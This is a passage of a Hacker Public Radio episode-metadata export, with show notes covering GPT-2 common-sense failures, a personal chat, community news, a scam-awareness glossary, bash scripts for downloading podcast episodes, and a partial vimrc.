                                                                q = "There are 2 cows and 2 bulls, how many legs are there?"\n    responses = generator(\n        f"Question: {q}\\nAnswer: ",\n        max_length=30,\n        num_return_sequences=10)\n    answers = []\n    for resp in responses:\n        text = resp['generated_text']\n        answers.append(text[text.find('Answer: ')+9:])\n    answers
                                                            \n
                                                                 'four. \\n " let me see if i have this straight',\n     'only 3. and three cows and 2 bulls are bigger than',\n     '2, 2, 1, 2. \\n " not yet',\n     "one per cow, that's all there is. in fact",\n     '30. and what am i? oh, yes, about',\n     'one. the big, white bull that is bigger than 1',\n     'three. they need to be introduced to the cow population before',\n     "1. i don't know how many and where exactly ;",\n     'no 2. 2. two bulls for 1 bull and 2',\n     '1, there are 1.2, and 2, there are']
                                                            \n","hostid":424,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"AI, GPT, GPT-2, Llama2, Hugging Face, Machine Learning, Deep Learning, Natural Language Processing","version":0,"downloads":0,"valid":1}, {"id":3954,"date":"2023-09-28","title":"Sedating HPR at the Steading","duration":4462,"summary":"MrX and Dave Morriss have lunch and record another chat","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n
                                                              \n
                                                            • MrX
                                                            • \n
                                                            • Dave\nMorriss
                                                            • \n
                                                            \n

                                                            We recorded this on Sunday September 3rd 2023. We met in\nperson again, and as before first visited the pub called The\nSteading where we had lunch. Then we adjourned to Dave's car in the\ncar park, and recorded a chat.

                                                            \n

                                                            The name \"Steading\" is another (Scots?) version of \"Farmstead\", and\nmeans the same. It's also an anagram of \"Sedating\"1, so\n...

                                                            \n

                                                            Topics discussed

                                                            \n
                                                              \n
                                                            • Vaccines:\n
                                                                \n
                                                              • Dave has an appointment for COVID-19 and\ninfluenza vaccines. The new Omicron\nvariant BA.2.86 has prompted another booster for some people.
                                                              • \n
                                                              • Discussion of Smallpox\nvaccination
                                                              • \n
                                                              • MrX has an appointment for an influenza vaccine
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Glasgow:\n
                                                                \n
                                                              • MrX and MrsX recently stayed in Glasgow for a holiday
                                                              • \n
                                                              • Point A\nHotel - boutique hotel
                                                              • \n
                                                              • Jungle Rumble -\nindoor golf with UV lighting!
                                                              • \n
                                                              • Wikipedia: Glasgow\nSubway
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Edinburgh:\n
                                                                \n
                                                              • Dave took a trip on the recently extended Edinburgh tram\n
                                                                  \n
                                                                • There is only one route, from the airport to Leith (port).
                                                                • \n
                                                                • Older residents get free access.
                                                                • \n
                                                              • \n
                                                              • MrX and MrsX recently walked from the centre of Edinburgh along the\nWater of Leith to the\narea where the tram terminus is at Newhaven.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Email:\n
                                                                \n
                                                              • Dave is using version Thunderbird 115.1.1 which\nis a rewrite of the original series where the API has now changed a\nlot.
                                                              • \n
                                                              • Long-used add-ons now no longer work:\n
                                                                  \n
                                                                • A favourite was Mailbox Alert which triggered sound alerts\n(or others) then mail arrived in a folder - so this could be after\nfiltering. This was much more useful than the traditional \"You have\nmail\" type alerts.
                                                                • \n
                                                              • \n
                                                              • Discussion of tags:\n
                                                                  \n
                                                                • MrX mentions tags, meaning bits of text that can be attached to\nmessages and used to classify them and to search for them.
                                                                • \n
                                                                • In Gmail there are labels which can do this and these can\nbe used to group messages regardless of folders
                                                                • \n
                                                                • Thunderbird also has this concept which it calls tags. It\ncomes with pre-defined tags such as Important and\nTo Do, but more tags can be added. Any message can be\ngiven one or more tags. The filtering system can add tags as a message\nis processed. Searches can be performed on tags also.
                                                                • \n
                                                                • Dave is an enthusiast of nested folders with filters to classify\nmessages. MrX is keen on using tags for the same purpose. Dave mentioned\nThunderbird's saved search feature (which he wrongly called\nvirtual mailboxes) which can collect messages according to many\ncriteria, including tags.
                                                                • \n
                                                                • Some discussion about mail message storage strategies: file per\nmessage, mbox format, etc.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Ticks:\n
                                                                \n
                                                              • MrX's dog has brought some ticks back from recent walks.
                                                              • \n
                                                              • Scotland seems to be a bit worse off for ticks in recent years.
                                                              • \n
                                                              • Hikers need to protect against them and to perform checks that they\nare not on clothes. Wearing long socks or gaiters over long trousers can\nhelp.
                                                              • \n
                                                              • Lyme\nDisease is a bacterial infection that can be passed by ticks.
                                                              • \n
                                                              • This Week in Parasitism\nrecently talked about an unpleasant disease caught from ticks, Babesiosis\n(not bacterial as Dave thought, but caused by a protozoan). This was in\nthe USA; the disease doesn't seem to be in the UK at the moment.
                                                              • \n
                                                              • Removal\nof ticks needs a tool or a fine pair of tweezers.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Audacity:\n
                                                                \n
                                                              • Ahuka\ndid a recent show (hpr3927 ::\nAudacity Update 20230702) on some problems he'd encountered.
                                                              • \n
                                                              • Video on YouTube: What Ever Happened to\nAudacity?
                                                              • \n
                                                              • Audacity-like tool in the browser: Wavacity
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Edinburgh Festival and Festival Fringe:\n
                                                                \n
                                                              • MrX attended a show by Michael Shafar, the comedian
                                                              • \n
                                                              • Dave hasn't been to much at the Festival/Fringe in recent years. He\nsaw the Doug Anthony\nAll Stars when they were active many years ago, and found them funny\nbut intimidating!
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • HPR changes:\n
                                                                \n
                                                              • Mentioned on the recent HPR\nCommunity News
                                                              • \n
                                                              • Problem reports can be sent by email to admin at\nHPR, as messages to @hpr@botsin.space on\nMastodon, and to the #hpr:matrix.org channel on\nMatrix.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Watching and listening:\n
                                                                \n
                                                              • MrX has been watching the YouTube channel Little Chinese\nEverywhere, recommended in the last of these chats.
                                                              • \n
                                                              • MrX has also been listening to the BBC radio show Computing Britain.\nIt consists of 12 15-minute episodes, from 2015, and is available as a\npodcast.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • YouTube recommendations:\n
                                                                \n
                                                              • Dave:\n
                                                                  \n
                                                                • Not Just Bikes:\n
                                                                    \n
                                                                  • A channel about cycling and city design. The channel owner is\nCanadian but has moved to Amsterdam for a better life for himself and\nhis family. He highlights the differences between North American city\ndesign and the design of many European cities.
                                                                  • \n
                                                                  • Example video: Even Small Towns are\nGreat Here (5 Years in the Netherlands)
                                                                  • \n
                                                                • \n
                                                                • BicycleDutch:\n
                                                                    \n
                                                                  • Another channel about cycling in the Netherlands. This channel host,\nMark Wagenbuur, is Dutch and does videos about cycle routes, and their\ndevelopment. Lots of videos made as he cycles a route. He is based in ’s-Hertogenbosch\n(map)\nand cycles in the region and to and from Utrecht.
                                                                  • \n
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Vaccines:\n
                                                                \n
                                                              • Wikipedia: COVID-19\nvaccines
                                                              • \n
                                                              • Wikipedia: SARS-CoV-2\nOmicron variant
                                                              • \n
                                                              • Wikipedia: Smallpox\nvaccine
                                                              • \n
                                                            • \n
                                                            \n\n\n\n\n\n\n
                                                              \n
                                                            • HPR:\n
                                                                \n
                                                              • Site migration update (Community\nNews for August 2023)
                                                              • \n
                                                            • \n
                                                            \n\n\n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Edinburgh, The Steading, discussion","version":0,"downloads":0,"valid":1}, {"id":3955,"date":"2023-09-29","title":"airgradient measurement station","duration":356,"summary":"Daniel Persson talks about a hardware measurement station he's installed","notes":"

                                                            AirGradient is an open-source solution to measure the air in your\nliving area. In my case, I need to keep track of the air in my office,\nso I have a healthy working environment.

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"airgradient, measurement, air quality","version":0,"downloads":0,"valid":1}, {"id":3956,"date":"2023-10-02","title":"HPR Community News for September 2023","duration":2470,"summary":"HPR Volunteers talk about shows released and comments posted in September 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Noodlez, \n hobs.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3935Fri2023-09-01Server build retrospectiveDaniel Persson
                                                            3936Mon2023-09-04HPR Community News for August 2023HPR Volunteers
                                                            3937Tue2023-09-05Adventures in Pi-HoleNoodlez
                                                            3938Wed2023-09-06An open directory of web audio streamdnt
                                                            3939Thu2023-09-07How I got into tech and hackingTrixter
                                                            3940Fri2023-09-08Equipment MaintenanceAhuka
                                                            3941Mon2023-09-11Interview with Yosef Kerzneroperat0r
                                                            3942Tue2023-09-12RE: How to make friends.Some Guy On The Internet
                                                            3943Wed2023-09-13Why my Dell does it better on Linux.knightwise
                                                            3944Thu2023-09-14Race for the GalaxyTuula
                                                            3945Fri2023-09-15My chrome pluginsDaniel Persson
                                                            3946Mon2023-09-18Planning for a planner, part 02.Some Guy On The Internet
                                                            3947Tue2023-09-19Archiving Floppy DisksSteve Saner
                                                            3948Wed2023-09-20Cleaning up my mancave and talking about Creativityknightwise
                                                            3949Thu2023-09-21How I use virtualisation to tame my Social Media addiction.knightwise
                                                            3950Fri2023-09-22Sid Meiers' Alpha CentauriAhuka
                                                            3951Mon2023-09-25Cell Phone Screen Protectorsoperat0r
                                                            3952Tue2023-09-26Making the Case for MarkdownKeith Murray
                                                            3953Wed2023-09-27Large language models and AI don't have any common sensehobs
                                                            3954Thu2023-09-28Sedating HPR at the SteadingDave Morriss
                                                            3955Fri2023-09-29airgradient measurement stationDaniel Persson
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 8 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There is 1 comment on\n1 previous show:

                                                            \n
                                                              \n
                                                            • hpr3934\n(2023-08-31) \"Crusader Kings II\"\nby Tuula.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKevin O'Brien on 2023-09-04:\n\"Loved the show\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 7 comments on 6 of this month's shows:

                                                            \n
                                                            • hpr3937\n(2023-09-05) \"Adventures in Pi-Hole\"\nby Noodlez.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2023-09-16:\n\"Clever static IP solution\"

                                                              \n
                                                            • hpr3938\n(2023-09-06) \"An open directory of web audio stream\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr3940\n(2023-09-08) \"Equipment Maintenance\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nReto on 2023-09-19:\n\"Tires\"
                                                              • Comment 2:\nKevin O'Brien on 2023-09-20:\n\"Telling it like it is\"

                                                              \n
                                                            • hpr3941\n(2023-09-11) \"Interview with Yosef Kerzner\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr3946\n(2023-09-18) \"Planning for a planner, part 02.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nReto on 2023-09-19:\n\"Previously\"

                                                              \n
                                                            • hpr3948\n(2023-09-20) \"Cleaning up my mancave and talking about Creativity\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-09-24:\n\"TUCOWS\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2023-September/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            FOSDEM 2024

                                                            \n
                                                              \n
                                                            • FOSDEM 2024 will take place on Saturday 3rd and Sunday 4th of\nFebruary 2024 in Brussels, Belgium. It will be at the usual location,\nthe ULB (Université libre de Bruxelles).

                                                            • \n
                                                            • Neither Ken nor Dave will be attending this time.

                                                            • \n
                                                            • If anyone wishes to apply for a stand on HPR's behalf, and if\npeople want to help out doing the key speaker interviews, please get in\ntouch.

                                                            • \n
                                                            \n

                                                            Site migration

                                                            \n
                                                              \n
                                                            • During September effort has gone into fixing broken links in the\nstatic site templates and the database itself.

                                                            • \n
                                                            • There are still more links to correct however.

                                                            • \n
                                                            • Each show page now contains a link to the version of the show\nuploaded to the Internet Archive. If there are HPR links in older shows\nthat have not been updated yet, this copy can be used instead.

                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3957,"date":"2023-10-03","title":"The Oh No! News.","duration":2201,"summary":"Sgoti talks about investment and recovery scams.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good\nNews.

                                                            \n
                                                              \n
                                                            • TAGS: User space, investment scams, recovery\nscams
                                                            • \n
                                                            \n
                                                            \n

                                                            User space.

                                                            \n
                                                              \n
                                                            • Source: Avoiding and Reporting\nScams.
                                                              \n

                                                            • \n
                                                            • Supporting Source: Refund\nand Recovery Scams.
                                                              \n

                                                            • \n
                                                            • Supporting Source: Investment\nopportunity scams.
                                                              \n

                                                            • \n
                                                            • Source: Reddit Community:\nr/Scams
                                                              \n

                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Additional Information.\n
                                                                \n
                                                              • What is a \"Data\nBreach\"? A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.
                                                              • \n
                                                              • What is \"Malware\"?\nMalware (a portmanteau for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser's computer security and privacy.
                                                              • \n
                                                              • What is a \"Payload\"?\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.
                                                              • \n
                                                              • What is \"Phishing\"?\nPhishing is a form of social engineering\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as ransomware. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.
                                                              • \n
                                                              • Social\nengineering (security) In the context of information security,\nsocial engineering is the psychological\nmanipulation of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.
                                                                \n
                                                              • \n
                                                              • What is \"Information\nSecurity\" (InfoSec)? Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating information risks. It\nis part of information risk\nmanagement.\n
                                                                  \n
                                                                • Information Security Attributes: Confidentiality, Integrity and Availability (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.
                                                                • \n
                                                              • \n
                                                              • What is \"Risk\nmanagement\"? Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.
                                                              • \n
                                                              • What is a \"Vulnerability\"\n(computing)? Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.
                                                              • \n
                                                              • What is an \"Attack\nSurface\"? The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.
                                                              • \n
                                                              • What is an \"Attack\nVector\"? In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.
                                                              • \n
                                                              • What is\n\"Standardization\"? Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n
                                                              • \n
                                                              • What is a \"Replay\nattack\"? A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"
                                                              • \n
                                                              • What is a\n\"Man-in-the-middle attack\"? In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.
                                                              • \n
                                                              • What is \"Transport Layer\nSecurity\" (TLS)? Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.
                                                              • \n
                                                              • What is a \"Handshake\"\n(computing)?. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.
                                                              • \n
                                                              • What is Security\ntheater? The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n\n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"User space, investment scams, recovery scams","version":0,"downloads":0,"valid":1}, {"id":3958,"date":"2023-10-04","title":"Bikepacking in 1993 without technology","duration":1163,"summary":"Knightwise looks back at his very first bikepacking adventure and its absence of technology","notes":"

                                                            My 5 day Ride from Oostende to Le Havre (540km)

                                                            \n\n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cycling, soundseeing, travel, technology, ","version":0,"downloads":0,"valid":1}, {"id":3959,"date":"2023-10-05","title":"Download any HPR series with english file names","duration":165,"summary":"A dir with the series name will be created and all shows will be renamed to ShowTitle.mp3 inside it","notes":"

                                                            Hello all. This is gemlog from Terrace, bc, canada just up near the\nalaska panhandle.

                                                            \n

                                                            Some of you may know me from in COM chat on sdf dot org or as a\nfedizen on the tilde dot zone instance of mastodon.

                                                            \n

                                                            Now, the other day I finally got around to checking out HPR properly,\neven though my masto-pal claw-dio-m turned me on to it a couple of years\nago.

                                                            \n

                                                            Recently, on a friday night in irc on tilde radio, I noticed there\nwere whole series on hpr and not only single shows and that got me kind\nof excited.
                                                            \nI guess I'm easily excitable.

                                                            \n

                                                            Anyhow, something I could listen to at work or while driving. Still,\nI managed to forget about it until /just/ before I was leaving the house\nfor work on Monday morning. I rushed to copy over a few shows - nearly\nat random onto my phone and headed out to work.

                                                            \n

                                                            After I got my morning sorted at work, I told VLC to play-all and\nenjoyed a couple of shows. I noticed that each show I had chosen had a\nbeg post at the beginning. I figured I could make one on at least\nsomething from my messy gemlog/bin dir.

                                                            \n

                                                            However, after a break, I came back and couldn't remember which 4\ndigit numbered dot mp3 I had finished up on, which mildly irked me.\nWell, as we all know, irk becomes itch and I put my sad regex skills to\nthe test scraping the hpr website with a custom bash script later when I\ngot home.

                                                            \n

                                                            A very custom bash script. Like all scrapers, if any of the guys at\nhpr even breathe the wrong way, it will probably break horribly. On the\nother hand, I've had scrapers that looked just as sad running for many\nyears against a canadian government site. So. Who knows?

                                                            \n

                                                            All the script uses are some built-ins from bash along with sed and\nwget for the actual getting. My local instance of searX N G was left\nsmoking as scrambled for sed incantations to string together. I'm not a\nsed guy.

                                                            \n

                                                            Usage is simple, as the script only accepts one argument: ... the\nfour digit series number of the show you want to download. It will\ncreate a dir with the series name and download every mp3 it finds,\nrenaming each show to the show title.

                                                            \n

                                                            I was tempted to doll it up with some niceties like options for\ndownload dir, a selector for a series with a dialog of some kind... yada\nyada yada.

                                                            \n

                                                            But... we all know what happens when you stretch a quick hack with a\nbash script too far for the scripting language: hours of misery wishing\nyou'd started with some other language.

                                                            \n

                                                            So far, I've used the script to download 8 series. DU dash S H tells\nme they add up to 2 dot 2 gig, so it seems to work well enough.

                                                            \n

                                                            It comes with the same iron clad warranty as everything I write:

                                                            \n

                                                            If it breaks, you get to keep all the pieces. Thanks for\nlistening.

                                                            \n
                                                            #!/bin/bash\n# gemlog@gemlog.ca 2023-08-26\n# License: CC BY-SA 4.0.\n# not proud of my continuing lack of regex foo frankly...\n\nif [ $# -lt 1 ]; then\n  echo 1>&2 "$0: You need to enter the HPR Series Number to download as 4 digits"\n  echo "The full list of HPR Series is at https://hackerpublicradio.org/series/index.html"\n  exit 2\nfi\n\nsnumber=$1\nre='^[[:digit:]]{4}$'\nif [[ $snumber =~ $re ]]; then\n    wget https://hackerpublicradio.org/series/$snumber.html -q -O /tmp/$snumber.html\n    content=$(</tmp/$snumber.html)\n    declare -a shows\n    shows=$(grep -P '^(?=.*h3)(?=.*title)' /tmp/$snumber.html)\nelse\n    echo "'$snumber' is not exactly 4 digits like an HPR series number"\n    exit 2\nfi\n\nseries=$(echo $content | sed -e :a -e 's/<[^>]*>//g;/</N;//ba' | grep -o -P -m1 '(?<=In-Depth Series:).*(?=Number)' | sed 's/[ t]*$//' )\nseries=$(echo ${series// /_} | cut -b 2-50 | sed 's/_*$//' | sed 's/^_*//' | sed s/[^A-Za-z0-9_.]/_/g)\n\n#outdir="/home/gemlog/Music/Audio/HPR/$series-Se$snumber/"\noutdir=~/"Downloads/HPR/$series-Se$snumber/"\nmkdir -p "$outdir"\necho "Files for the series "$series" will be saved in $outdir"\n\ndeclare -a shows\ndeclare -a url_array\nshows=$(grep -P '^(?=.*h3)(?=.*title)' /tmp/$snumber.html)\nIFS=$'n'\n\nfor line in $shows\n  do\n    f=$((f+1))\ndone\necho\necho\necho "Downloading $f mp3 files"\n\n\nfor line in $shows\n  do\n    i=$((i+1))\n    title=$(echo $line | sed -e :a -e 's/<[^>]*>//g;/</N;//ba' | grep -o -P '(?<=::).*('host')'  | sed 's/host//' | sed 's/[ t]*$//' | sed s/[^A-Za-z0-9_.]/_/g | sed 's/ /_/g' | sed 's/^_*//' )\n    enumber=$(echo $line | sed -e :a -e 's/<[^>]*>//g;/</N;//ba' | grep -o -P '(?<=hpr).*('::')' | sed 's/:://')\n    enumber=$(printf "%04d" $((enumber)) )\n    outfile=$outdir$title-Ep$enumber.mp3\n    url="https://www.hackerpublicradio.org/eps/hpr$enumber.mp3"\n    echo "Downloading file $i: $title"\n    wget --verbose --max-redirect 2 $url -O $outfile\n    sleep 2\n  done\n\n\necho\nttlfiles=$(ls -1 $outdir | wc -l)\necho "$ttlfiles files for the series "$series" were saved in $outdir"\n\nexit 0
                                                            \n","hostid":425,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash, sed, grep, wget, scraper","version":0,"downloads":0,"valid":1}, {"id":3960,"date":"2023-10-06","title":"On The Road At Last","duration":1042,"summary":"Preparations are done, and we start out on the road.","notes":"

                                                            We finally got all of the preparations and maintenance done, and it\nwas time to hit the road. Once again, we left a bit later than planned,\nbut life is like that.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, maintenance","version":0,"downloads":0,"valid":1}, {"id":3961,"date":"2023-10-09","title":"RERE: How to make friends.","duration":2495,"summary":"Sgoti and Mugs Up chat about, \"How to make friends womans edition\".","notes":"

                                                            RERE: How to make friends.

                                                            \n
                                                              \n
                                                            • Source: hpr3904 ::\nHow to make friends
                                                              \n

                                                            • \n
                                                            • Source: hpr3942 ::\nRE: How to make friends.
                                                              \n

                                                            • \n
                                                            • Source: Friendship
                                                              \n

                                                            • \n
                                                            • Source: Interpersonal\nrelationship
                                                              \n

                                                            • \n
                                                            • Source: Affection
                                                              \n

                                                            • \n
                                                            • Source: Blood\nbrother.
                                                              \n

                                                            • \n
                                                            \n

                                                            I thought this was funny: How to Ask a\nFriend to Hang Out.

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Make friends, Mugsup, Klaatu","version":0,"downloads":0,"valid":1}, {"id":3962,"date":"2023-10-10","title":"It's your data","duration":442,"summary":"Ken shows a safer way to get episodes from HPR","notes":"

                                                            This is a response show to\nhpr3959\n:: Download any HPR series with english file names \"A dir with the\nseries name will be created and all shows will be renamed to\nShowTitle.mp3 inside it\"

                                                            \n

                                                            This was the first show by gemlog and he used Bash, sed, grep, wget,\nto scrape the HPR site. This is great but as he points out any change to\nthe site will break the script.

                                                            \n

                                                            A safer way to get the episodes is by scraping the rss feed, and the\nfollowing is an example of how you might do that

                                                            \n
                                                            #!/bin/bash\n\nseries_url="https://hackerpublicradio.org/hpr_mp3_rss.php?series=42&full=1&gomax=1"\ndownload_dir="./"\n\nwget "${series_url}" -O - | xmlstarlet sel -T -t -m 'rss/channel/item' -v 'concat(enclosure/@url, "→", title)' -n - | sort | while read episode\ndo\n  url="$( echo ${episode} | awk -F '→' '{print $1}' )"\n  ext="$( basename "${url}" )"\n  title="$( echo ${episode} | awk -F '→' '{print $2}' | sed -e 's/[^A-Za-z0-9]/_/g' )"\n  wget "${url}" -O "${download_dir}/${title}.${ext}"\ndone
                                                            \n","hostid":30,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"response, bash, rss, xml, xmlstarlet","version":0,"downloads":0,"valid":1}, {"id":3963,"date":"2023-10-11","title":"Storytelling Games","duration":1158,"summary":"Three storytelling-based games, and some thoughts on role-playing games","notes":"

                                                            The games mentioned were:

                                                            \n

                                                            Rory's\nStory Cubes
                                                            \nDark\nCults
                                                            \nOnce\nUpon a Time

                                                            \n

                                                            Examples\nof ending cards in the \"Dark Tales\" expansion of Once Upon a\nTime

                                                            \n

                                                            Klaatu's\nMastodon post about Dark Cults

                                                            \n","hostid":399,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"storytelling","version":0,"downloads":0,"valid":1}, {"id":3964,"date":"2023-10-12","title":"Hacker Public Radio at OLF","duration":3078,"summary":"Friends from Hacker Public Radio meetup to record an episode from the conference.","notes":"

                                                            Ohio Linux Fest, or Open, Libre,\nFree...we're not sure

                                                            \n

                                                            Conference\nVideos and Presentations

                                                            \n

                                                            Momo\nGhar

                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OLF, Linux Fest, Conference","version":0,"downloads":0,"valid":1}, {"id":3965,"date":"2023-10-13","title":"I've taken the Conqueror Virtual Challenge","duration":285,"summary":"Daniel Persson talks about a service where you challenge yourself for better health","notes":"

                                                            This service will help you keep track of your walks and incentivize\nyou to walk more and stay healthy.

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"challenge, walk","version":0,"downloads":0,"valid":1}, {"id":3966,"date":"2023-10-16","title":"Vim Hints: 006","duration":1503,"summary":"Various contributors lead us on a journey of discovery of the Vim (and vi) editors.","notes":"

                                                            My .vimrc config.

                                                            \n
                                                            " General\nset confirm                                                      " Display confirmation dialog when closing unsaved files\nset number                                                       " Show line numbers\nset number relativenumber                                        " Show line numbers relative to curser\nset cursorline                                                   " Highlight the current line\nset guicursor=\nset scrolloff=23                                                 " Number of screen lines above and below the cursor\nset colorcolumn=80                                               " Line 76 and 80 are colored\n:hi ColorColumn ctermbg=Magenta                                  " Column colors\nset nowrap                                                       " Do not wrap lines\nset list\nset listchars=eol:\n,tab:⭾⭾,trail:~,extends:>,precedes:<,space:⎵\nset showmatch                                                    " Highlight matching brace\nset visualbell                                                   " Use visual bell (no beeping)\nset showcmd                                                      " Show partial commands in the last line\n\nset hlsearch                                                     " Highlight all search results\nset smartcase                                                    " Enable smart-case search\nset ignorecase                                                   " Always case-insensitive\nset incsearch                                                    " Searches for strings incrementally\nset wildmenu                                                     " Display tab complete options menu\nset encoding=utf-8                                               " Use an encoding that supports unicode\n\n"set autoindent                                                  " Auto-indent new lines\n"set smartindent                                                 " Enable smart-indent\n"set smarttab                                                    " Enable smart-tabs\nset shiftwidth=4                                                 " Number of auto-indent spaces\nset softtabstop=4                                                " Number of spaces per Tab\nset tabstop=4                                                    " Indent using four spaces\nset expandtab                                                    " Convert tabs to spaces.\n\n" Advanced\nset ruler                                                        " Show row and column ruler information\n"set showtabline=2                                               " Show tab bar\nset 